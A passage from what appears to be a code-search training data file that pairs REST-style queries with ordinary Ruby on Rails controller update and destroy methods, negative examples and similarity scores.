'Caso actualizado.'\n if Sivel2Gen::Caso.count > MAX_CASOS_REFRESCA_AUTOMATICO\n notificacion += \" Por la cantidad de casos \"+\n \" debe Refrescar para notar \" +\n \" el cambio en el listado de casos\"\n end\n format.html {\n redirect_to @caso,\n notice: notificacion\n }\n format.json { head :no_content }\n format.js { head :no_content }\n else\n format.html {\n if session[:capturacaso_acordeon]\n render 'editv', layout: 'application'\n else\n render 'edit', layout: 'application'\n end\n }\n format.json { render json: @caso.errors,\n status: :unprocessable_entity }\n format.js { render json: @caso.errors,\n status: :unprocessable_entity }\n end\n end\n begin\n @conscasocount = Conscaso.count\n if @conscasocount <= MAX_CASOS_REFRESCA_AUTOMATICO\n puts Conscaso.refresca_conscaso\n end\n rescue\n puts Conscaso.refresca_conscaso\n @conscasocount = Conscaso.count\n end\n end", "def edit_pro\n customer_id = params[\"customer_id\"]\n siret = params[\"siret\"]\n cip = params[\"cip\"]\n raison_sociale = params[\"raison_sociale\"]\n puts params\n puts \"----------------------------------------MAKES NO SENSE\"\n puts params[\"raison_sociale\"]\n puts customer_id\n puts cip\n puts siret\n puts raison_sociale\n puts \"I am in edit pro\"\n\n metafields = ShopifyAPI::Customer.find(customer_id).metafields\n puts metafields[0].key\n puts metafields[0].value\n puts metafields[1].key\n puts metafields[1].value\n puts metafields[2].key\n puts metafields[2].value\n\n metafields[0].value = siret\n metafields[1].value = cip\n metafields[2].value = raison_sociale\n\n puts metafields[0].key\n puts metafields[0].value\n puts metafields[1].key\n puts metafields[1].value\n puts metafields[2].key\n puts metafields[2].value\n\n p metafields[0].save\n p metafields[1].save\n p metafields[2].save\n\n p metafields[0].errors\n p metafields[1].errors\n p metafields[2].errors\n\n puts \"editing tag\"\n\n cus = ShopifyAPI::Customer.find(customer_id)\n p cus\n p cus.tags\n\n cus.tags = \"cip- #{metafields[1].value}, PRO\"\n\n p cus.save\n\n\n\n render json: { metafields: metafields }\n end", "def update_infos\n skip_authorization\n respond_to do |format|\n format.json do\n render json: hashing_infos\n end\n end\n end", "def update\n @impgen = Impgen.find(params[:id])\n\n respond_to do |format|\n if @impgen.update_attributes(params[:impgen])\n format.html { redirect_to @impgen, notice: 'Impgen was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @impgen.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_or_update_profile_configuration(args = {}) \n id = args['profileId']\n temp_path = \"/profiles.json/{profileId}/configuration\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"profileId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def edit_info(info)\n puts Paint[\"Editing the info about: #{publisher.namespace}\", :blue]\n\n listing = Google::Apis::AndroidpublisherV2::Listing.new\n listing.full_description = info['full_description']\n listing.short_description = info['short_description']\n listing.title = info['title']\n listing.language = info['language']\n\n publisher.edit_info(listing)\n\n puts Paint['Alterações realizadas :)', :green]\n end", "def put(request, response)\n write(request.body)\n Created\n end", "def put(request, response)\n write(request.body)\n Created\n end", "def update\n #respond_to do |format|\n if @allergen.update(allergen_params)\n #format.html { redirect_to @allergen, notice: 'Allergen was successfully updated.' }\n #format.json { render :show, status: :ok, location: @allergen }\n render :show, status: :ok, location: @allergen\n else\n #format.html { render :edit }\n #format.json { render json: @allergen.errors, status: :unprocessable_entity }\n render json: @allergen.errors, status: :unprocessable_entity\n end\n #end\n end", "def update\n respond_to do |format|\n if @creator.update(creator_params)\n format.html { redirect_to @creator, notice: 'Creator was successfully updated.' }\n format.json { render :vault, status: :ok, location: @creator }\n else\n format.html { render :edit }\n format.json { render json: @creator.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n respond_to do |format|\n if @creator_metric.update(creator_metric_params)\n getcreator_metrics\n format.html {render :index, notice: 'Creator metric was successfully updated.' }\n format.json { render :show, status: :ok, location: @creator_metric }\n else\n format.html { render :edit }\n format.json { render json: @creator_metric.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @genere.update(genere_params)\n format.html { redirect_to @genere, notice: 'Genere was successfully updated.' }\n format.json { render :show, status: :ok, location: @genere }\n else\n format.html { render :edit }\n format.json { render json: @genere.errors, status: :unprocessable_entity }\n end\n end\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def create\n @opportunity_generator = OpportunityGenerator.new(params[:opportunity_generator])\n\n respond_to do |format|\n if @opportunity_generator.save\n flash_message('Opportunity generator', true)\n format.html { redirect_to @opportunity_generator}\n format.json { render json: @opportunity_generator, status: :created, location: @opportunity_generator }\n else\n flash_message('Opportunity generator', false)\n format.html { render action: \"new\" }\n format.json { render json: @opportunity_generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_method\n :put_json\n end", "def update\n @bench_test_photo_gen = BenchTest::PhotoGen.find(params[:id])\n\n respond_to do |format|\n if @bench_test_photo_gen.update_attributes(params[:bench_test_photo_gen])\n format.html { redirect_to(@bench_test_photo_gen, :notice => 'Photo gen was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bench_test_photo_gen.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_info(uid, info)\n object(\"#{uid}.info\").put(body: info.to_json)\n end", "def index\n @generator = Generator.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @generator }\n end\n end", "def new\n @generation = Generation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generation }\n end\n end", "def update\n respond_to do |format|\n if @made_in_g.update(made_in_g_params)\n format.html { redirect_to @made_in_g, notice: 'Made in g was successfully updated.' }\n format.json { render :show, status: :ok, location: @made_in_g }\n else\n format.html { render :edit }\n format.json { render json: @made_in_g.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n render json: Alien.update(params[\"id\"], params[\"alien\"])\n end", "def show\n @generator = Generator.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "def update\n respond_to do |format|\n if @genero.update(genero_params)\n flash[:success] = \"Gênero #{@genero.nome} foi editado com sucesso!\"\n format.html { redirect_to @genero }\n format.json { render :show, status: :ok, location: @genero }\n else\n flash.now[:danger] = \"Gênero #{@genero.nome} não foi editado com sucesso!\"\n format.html { render :edit }\n format.json { render json: @genero.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sneaker.update(sneaker_params)\n Sneaker.reindex\n format.html { redirect_to @sneaker, notice: 'Sneaker was successfully updated.' }\n format.json { render :show, status: :ok, location: @sneaker }\n else\n format.html { render :edit }\n format.json { render json: @sneaker.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @info_request.update(info_request_params)\n format.html { redirect_to @info_request, notice: 'Info request was successfully updated.' }\n format.json { render :show, status: :ok, location: @info_request }\n else\n format.html { render :edit }\n format.json { render json: @info_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def update \n sneaker = find_sneaker\n # update! exceptions will be handled by the rescue_from ActiveRecord::RecordInvalid code\n sneaker.update(sneaker_params)\n render json: sneaker\n end", "def new\n @gen = Gen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gen }\n end\n end", "def update\n respond_to do |format|\n if @ocs_generada.update(ocs_generada_params)\n format.html { redirect_to @ocs_generada, notice: 'Ocs generada was successfully updated.' }\n format.json { render :show, status: :ok, location: @ocs_generada }\n else\n format.html { render :edit }\n format.json { render json: @ocs_generada.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @impgen = Impgen.new(params[:impgen])\n\n respond_to do |format|\n if @impgen.save\n format.html { redirect_to @impgen, notice: 'Impgen was successfully created.' }\n format.json { render json: @impgen, status: :created, location: @impgen }\n else\n format.html { render action: \"new\" }\n format.json { render json: @impgen.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @maker.update(maker_params)\n format.html { redirect_to @maker, notice: \"Maker was successfully updated.\" }\n format.json { render :show, status: :ok, location: @maker }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @maker.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @info.update(info_params)\n format.html { redirect_to @info, notice: 'Info was successfully updated.' }\n format.json { render :show, status: :ok, location: @info }\n else\n format.html { render :edit }\n format.json { render json: @info.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @info.update(info_params)\n format.html { redirect_to @info, notice: 'Info was successfully updated.' }\n format.json { render :show, status: :ok, location: @info }\n else\n format.html { render :edit }\n format.json { render json: @info.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n respond_to do |format|\n if @maker.update(maker_params)\n format.html { redirect_to @maker, notice: 'Maker was successfully updated.' }\n format.json { render :show, status: :ok, location: @maker }\n else\n format.html { render :edit }\n format.json { render json: @maker.errors, status: :unprocessable_entity }\n end\n end\n end", "def generate(info)\n @info = info\n @files = []\n @classes = []\n @hyperlinks = {}\n\n build_indices\n generate_xml\n end", "def update\n @ginasio = Ginasio.find(params[:id])\n\n respond_to do |format|\n if @ginasio.update_attributes(params[:ginasio])\n format.html { redirect_to @ginasio, :flash => { :success => 'Dados do ginasio alterados com successo!' } }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @ginasio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @creator_source = CreatorSource.find(params[:id])\n\n respond_to do |format|\n if @creator_source.update_attributes(params[:creator_source])\n format.html { redirect_to @creator_source, notice: 'Creator source was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @creator_source.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @instruction_factory = InstructionFactory.find(params[:id]) \n @instruction_factory.classname = params[:instruction_factory][:classname]\n @instruction_factory.name = params[:instruction_factory][:name]\n respond_to do |format|\n \n if @instruction_factory.save\n format.html { redirect_to @instruction_factory, notice: 'instruction_factory was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @instruction_factory.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @opportunity_generator = OpportunityGenerator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @opportunity_generator }\n end\n end", "def update\n\n if InfoNode.duplicate_key?(params[:info_types])\n redirect_to :back, :alert => \"Key in the additional information shoud be unique\"\n return\n end\n\n @relation = Node.find(params[:id])\n @collection = current_user.collections.find(params[:collection_id])\n if @relation.nil? || @collection.nil? || @relation.document.collection.id != @collection.id\n redirect_to :back, :alert => \"Cannot find an relation\"\n return\n end \n\n @document = @relation.document\n @collection = @document.collection\n\n unless params[:rid].nil?\n @rid = params[:rid].strip\n end\n\n @rid = @document.create_new_relation_id if @rid.blank?\n @relation.entity_type = params[:type] \n @refs = []\n\n params[:refids].each_with_index do |ref_id, idx|\n @refs << {:ref_id => ref_id, :role => params[:labels][idx]}\n end unless params[:refids].nil?\n\n if @refs.empty?\n redirect_to :back, :alert => \"Please add references for a new relation\"\n return\n end\n \n @relation.update_references(@refs)\n\n keyset = []\n (0...params[:info_types].size).each do |i|\n key = params[:info_types][i]\n value = params[:info_values][i]\n if !key.nil? && !key.strip.blank? && !value.nil? && !value.strip.blank?\n keyset << key\n @relation.set_info_node(key, value)\n end\n end\n\n @relation.remove_info_node_except(keyset)\n\n\n respond_to do |format|\n if @relation.save\n format.html { redirect_to \"/collections/#{@collection.id}/documents/#{@document.pmid}?tab=relation\", notice: 'Relation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to :back, :alert => \"Cannot update relation: #{@relation.errors.full_messages}\" }\n format.json { render json: @relation.errors, status: :unprocessable_entity }\n end\n end\n\n \n end", "def update\n @user_allergen.update(user_allergen_params)\n end", "def update\n super\n if resource.errors.empty?\n save_creator_genre(resource)\n end\n end", "def create\n gig = Gig.new()\n respond_to do |format|\n if update_gig(gig)\n format.html { render json: gig, status: :created, location: gig }\n format.json { render json: gig, status: :created, location: gig }\n else\n format.html { render action: \"new\" }\n format.json { render json: gig.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n create\n end", "def update\n create\n end", "def update\n respond_to do |format|\n if @info.update(info_params)\n format.html { redirect_to infos_path, notice: 'Info was successfully updated.' }\n format.json { render :show, status: :ok, location: @info }\n else\n format.html { render :edit }\n format.json { render json: @info.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_method\n :http_put\n end", "def create_method\n :http_put\n end", "def update\n respond_to do |format|\n if @socio_rg.update(socio_rg_params)\n format.html { redirect_to @socio_rg, notice: 'Socio rg was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @socio_rg.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_generation\n @generation = Generation.find(params[:id])\n end", "def update\n @spawner = Spawner.find(params[:id])\n @fieldtrips = Fieldtrip.all\n\n respond_to do |format|\n if @spawner.update_attributes(spawner_params)\n format.html { redirect_to @spawner, notice: 'Spawner was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spawner.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @info.update(info_params)\n format.html { redirect_to infos_path, notice: 'Info was successfully updated.' }\n format.json { render \"pages/info\", status: :ok, location: @info }\n else\n format.html { render :edit }\n format.json { render json: @info.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @generation_time = args[:generation_time] if args.key?(:generation_time)\n @id = args[:id] if args.key?(:id)\n end", "def update\n @taker = Taker.find(params[:id])\n\n respond_to do |format|\n if @taker.update_attributes(params[:taker])\n format.html { redirect_to @taker, notice: 'Taker was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @taker.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(request)\n end", "def update(request)\n end", "def update\n @objects_info = ObjectsInfo.find(params[:id])\n\n respond_to do |format|\n if @objects_info.update_attributes(params[:objects_info])\n format.html { redirect_to @objects_info, notice: 'Objects info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @objects_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to_update({thing: @author})\n end", "def create\n update\n end", "def update\n @infographic = Infographic.find(params[:id])\n\n respond_to do |format|\n if @infographic.update_attributes(params[:infographic])\n format.html { redirect_to :back, notice: 'Infographic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @infographic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @genrecreate.update(genrecreate_params)\n format.html { redirect_to @genrecreate, notice: 'Genrecreate was successfully updated.' }\n format.json { render :show, status: :ok, location: @genrecreate }\n else\n format.html { render :edit }\n format.json { render json: @genrecreate.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end", "def update\n @reqinfo = Reqinfo.find(params[:id])\n\n respond_to do |format|\n if @reqinfo.update_attributes(params[:reqinfo])\n flash[:notice] = 'Reqinfo was successfully updated.'\n format.html { redirect_to(@reqinfo) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reqinfo.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.71187365", "0.71187365", "0.7006139", "0.69810915", "0.6883088", "0.6548272", "0.6409518", "0.63473666", "0.62041783", "0.61811197", "0.6149131", "0.6029252", "0.6020267", "0.59239465", "0.58967006", "0.58490807", "0.58278203", "0.5804549", "0.57554704", "0.5703897", "0.5703897", "0.5697584", "0.5675676", "0.56462306", "0.56370705", "0.5548855", "0.5518658", "0.5508208", "0.54859924", "0.5471467", "0.5400793", "0.5396917", "0.5395555", "0.53881943", "0.53801787", "0.536913", "0.53665227", "0.535884", "0.53329074", "0.5313697", "0.53110856", "0.53058046", "0.52863544", "0.52291656", "0.52291656", "0.5224038", "0.5218911", "0.5212548", "0.51999795", "0.51999456", "0.5198638", "0.5197765", "0.5168008", "0.5160236", "0.51447326", "0.51433927", "0.5136678", "0.5129623", "0.5128215", "0.5126772", "0.5123403", "0.5117476", "0.51139736", "0.5110492", "0.51009846", "0.5097635", "0.50973994", "0.5095333", "0.5095333", "0.5077932", "0.5068107", "0.504613", "0.50451696", "0.5044065", "0.5042942", "0.5042225", "0.50417304", "0.50374025", "0.5001491", "0.4998004", "0.4990811", "0.4990811", "0.4989081", "0.49888188", "0.49888188", "0.4985567", "0.4976758", "0.49765763", "0.49635115", "0.4960988", "0.49546647", "0.4953743", "0.4953743", "0.4953151", "0.49483538", "0.4948094", "0.4941885", "0.49418068", "0.4941004", "0.4935103" ]
0.7500496
0
DELETE /generator_infos/1 DELETE /generator_infos/1.json
def destroy @generator_info = GeneratorInfo.find(params[:id]) @generator_info.destroy respond_to do |format| format.html { redirect_to generator_infos_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n Generator.where(id: params[:id] ).first.destroy\n respond_to do |format|\n format.html { redirect_to generators_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @generator.destroy\n respond_to do |format|\n format.html { redirect_to generators_url, notice: 'Generator was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @generator.destroy\n respond_to do |format|\n format.html { redirect_to generators_url, notice: 'Generator was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @small_generator = SmallGenerator.find(params[:id])\n @small_generator.destroy\n\n respond_to do |format|\n format.html { redirect_to small_generators_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @generator = Generator.find(params[:id])\n\n respond_to do |format|\n if @generator.destroy\n flash[:success] = 'Generator was removed'\n format.html { redirect_to admin_generators_path }\n format.json { head :ok }\n else\n flash[:error] = @generator.errors.full_messages.join('')\n format.html { redirect_to admin_generator_path(@generator.id) }\n format.json { render json: @generator.errors.full_messages.join(''), status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @generation = Generation.find(params[:id])\n @generation.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_generations_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @gen = Gen.find(params[:id])\n @gen.destroy\n\n respond_to do |format|\n format.html { redirect_to gens_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @generation.destroy\n respond_to do |format|\n format.html { redirect_to generations_my_url, notice: 'Сгенерированные варианты были успешно удалены.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @opportunity_generator = OpportunityGenerator.find(params[:id])\n @opportunity_generator.destroy\n flash_message('Opportunity generator', true)\n\n respond_to do |format|\n format.html { redirect_to opportunity_generators_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_info.destroy\n respond_to do |format|\n format.html { redirect_to client_infos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_info.destroy\n respond_to do |format|\n format.html { redirect_to client_infos_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @reqinfo = Reqinfo.find(params[:id])\n @reqinfo.destroy\n\n respond_to do |format|\n format.html { redirect_to(reqinfos_url) }\n format.xml { head :ok }\n end\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def destroy\n @go = Go.find(params[:id])\n @go.destroy\n\n respond_to do |format|\n format.html { redirect_to manager_gos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @info_request.destroy\n respond_to do |format|\n format.html { redirect_to info_requests_url, notice: 'Info request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @genbank_file.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "def delete\n request(:delete)\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def delete\n \n end", "def destroy\n @gen_attraction.destroy\n respond_to do |format|\n format.html { redirect_to gen_attractions_url, notice: 'Gen attraction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @url_builder.destroy\n respond_to do |format|\n format.html { redirect_to url_builders_url, notice: 'Url builder was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n \n end", "def destroy\n @generation = Generation.find(params[:id])\n @generation.destroy\n redirect_to admin_generations_path, notice: \"Generación Eliminada\"\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @info = Info.find(params[:id])\n @info.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_infos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @genotype = Genotype.find(params[:id])\n @genotype.destroy\n\n respond_to do |format|\n format.html { redirect_to genotypes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @gclife_registration_flatdetail.destroy\n respond_to do |format|\n format.html { redirect_to gclife_registration_flatdetails_url, notice: 'Gclife registration flatdetail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n render status: 200, json: @request_item.destroy\n end", "def destroy\n @bench_test_photo_gen = BenchTest::PhotoGen.find(params[:id])\n @bench_test_photo_gen.destroy\n\n respond_to do |format|\n format.html { redirect_to(bench_test_photo_gens_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @allergen_warning.destroy\n respond_to do |format|\n format.html { redirect_to allergen_warnings_url }\n format.json { head :no_content }\n end\n end", "def deleteRequest\n\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def delete\n @one.info\n @one.delete\n end", "def delete\n\n end", "def destroy\n @gig_request = GigRequest.find(params[:id])\n @gig_request.destroy\n\n respond_to do |format|\n format.html { redirect_to gig_requests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_information.destroy\n respond_to do |format|\n format.html { redirect_to admin_information_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @information_request = InformationRequest.find(params[:id])\n @information_request.destroy\n\n respond_to do |format|\n format.html { redirect_to information_requests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @preparedinfo.destroy\n respond_to do |format|\n format.html { redirect_to preparedinfos_url, notice: 'Preparedinfo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gpath = Gpath.find(params[:id])\n @gpath.destroy\n\n respond_to do |format|\n format.html { redirect_to gpaths_url }\n format.json { head :no_content }\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def deleteEntityAdvertiser( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/advertiser\",params)\n end", "def delete\n Iterable.request(conf, base_path).delete\n end", "def destroy\n @debug_info.destroy\n respond_to do |format|\n format.html { redirect_to debug_infos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @updaterete = Updaterete.find(params[:id])\n @updaterete.destroy\n\n respond_to do |format|\n format.html { redirect_to updateretes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @giang_vien = GiangVien.find(params[:id])\n @giang_vien.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def destroy\n @gastracker = Gastracker.find(params[:id])\n @gastracker.destroy\n\n respond_to do |format|\n format.html { redirect_to gastrackers_url }\n format.json { head :no_content }\n end\n end", "def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end", "def destroy\n @info.destroy\n respond_to do |format|\n format.html { redirect_to infos_url, notice: 'Info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @info.destroy\n respond_to do |format|\n format.html { redirect_to infos_url, notice: 'Info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n api_client.delete(url)\n end", "def destroy\n @info = Info.find(params[:id])\n @info.destroy\n\n respond_to do |format|\n format.html { redirect_to(infos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @datosgenerale.destroy\n respond_to do |format|\n format.html { redirect_to datosgenerales_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @creator_accession_relationship = CreatorAccessionRelationship.find(params[:id])\n @creator_accession_relationship.destroy\n\n respond_to do |format|\n format.html { redirect_to creator_accession_relationships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @request_datum.destroy\n respond_to do |format|\n format.html { redirect_to request_data_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @scan.update deleted: true\n respond_to do |format|\n format.html { redirect_to scans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ginasio = Ginasio.find(params[:id])\n @ginasio.destroy\n\n respond_to do |format|\n format.html { redirect_to ginasios_url, :flash => { :notice => 'Ginasio apagado.' } }\n format.json { head :ok }\n end\n end", "def destroy\n @impgen = Impgen.find(params[:id])\n @impgen.destroy\n\n respond_to do |format|\n format.html { redirect_to impgens_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ocs_generada.destroy\n respond_to do |format|\n format.html { redirect_to ocs_generadas_url, notice: 'Ocs generada was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @dor_information.destroy\n respond_to do |format|\n format.html { redirect_to dor_informations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @allergen.destroy\n respond_to do |format|\n #format.html { redirect_to allergens_url, notice: 'Allergen was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gasto = Gasto.find(params[:id])\n @gasto.destroy\n\n respond_to do |format|\n format.html { redirect_to gastos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @server_info = ServerInfo.find(params[:id])\n @server_info.destroy\n\n respond_to do |format|\n format.html { redirect_to server_infos_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def destroy\n @file_info = FileInfo.find(params[:id])\n @file_info.destroy\n\n respond_to do |format|\n format.html { redirect_to file_infos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @made_in_g.destroy\n respond_to do |format|\n format.html { redirect_to made_in_gs_url, notice: 'Made in g was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gid2name = Gid2name.find(params[:id])\n @gid2name.destroy\n\n respond_to do |format|\n format.html { redirect_to gid2names_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @infographic = Infographic.find(params[:id])\n @infographic.destroy\n\n respond_to do |format|\n format.html { redirect_to infographics_url }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def delete!\n request! :delete\n end", "def delete\n super \"/templates/#{template_id}.json\", {}\n end", "def destroy\n @test_meta_datum.destroy\n respond_to do |format|\n format.html { redirect_to test_meta_data_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @visit_request.destroy\n respond_to do |format|\n format.html { redirect_to visit_requests_url, notice: 'Visit request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n puts @iot_datum.count\n if @iot_datum.count > 0\n @deleted_rec = IotDatum.new\n @deleted_rec.workbench_number = @iot_datum.workbench_number\n @deleted_rec.part_number = @iot_datum.part_number\n @deleted_rec.target = @iot_datum.target\n @deleted_rec.lot_size = @iot_datum.lot_size\n @deleted_rec.employee_name = @iot_datum.employee_name\n @deleted_rec.shift = @iot_datum.shift\n @deleted_rec.device_id = @iot_datum.device_id\n @deleted_rec.count = @iot_datum.count\n @deleted_rec.status = 'Deleted'\n @deleted_rec.save!\n @iot_datum.destroy\n else\n @iot_datum.destroy\n end\n respond_to do |format|\n format.html { redirect_to iot_data_url, notice: 'Planner was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gomi.destroy\n respond_to do |format|\n format.html { redirect_to gomis_url, notice: 'Gomi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy_rest\n @item_usage = ItemUsage.find(params[:id])\n @item_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to(item_usages_url) }\n format.xml { head :ok }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def destroy\n @asignatura.destroy\n respond_to do 